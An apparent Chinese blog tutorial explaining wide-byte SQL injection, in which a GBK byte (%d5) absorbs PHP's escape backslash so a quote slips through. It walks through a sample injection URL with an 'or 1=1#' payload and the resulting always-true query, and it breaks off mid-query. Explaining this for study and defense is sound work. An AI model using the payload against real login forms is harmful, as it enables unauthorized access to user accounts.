GBK双字节编码:一个汉字用两个字节表示,首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),刚好涵盖了转义符号\对应的编码0×5C。
0xD50×5C 对应了汉字“诚”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c 经URL解码后为“诚”。
下面分析攻击过程:
访问 http://www.2cto.com /test.php?username=test%d5′%20or%201=1%23&pwd=test
经过浏览器编码,username参数值为(单引号的编码0×27)
username=test%d5%27%20or%201=1%23
经过php的url解码
username=test 0xd5 0×27 0×20 or 0×20 1=1 0×23 (为了便于阅读,在字符串与16进制编码之间加了空格)
经过PHP的GPC自动转义变成(单引号0×27被转义成\’对应的编码0×5c0×27):
username=test 0xd5 0×5c 0×27 0×20 or 0×20 1=1 0×23
因为在数据库初始化连接的时候SET NAMES ‘gbk’,0xd50×5c解码后为诚,0×27解码为’,0×20为空格,0×23为mysql的注释符#
上面的SQL语句最终为: SELECT * FROM user WHERE username=’test诚’ or 1=1#’ and password=’test’;
注释符#后面的字符串已经无效,等价于
SELECT * FROM user WHERE username&#
宽字节注入
最新推荐文章于 2024-06-25 18:15:00 发布
本文详细介绍了宽字节注入攻击的一种情况,利用GBK编码中0xD50×5C组合可以绕过单引号的转义,导致SQL注入。攻击者通过构造特定的URL参数,使SQL语句变为永真条件,从而获取未授权信息。讨论了如何通过设置数据库编码方式增加安全性,并给出了Bugku web题目的实际注入案例。
摘要由CSDN通过智能技术生成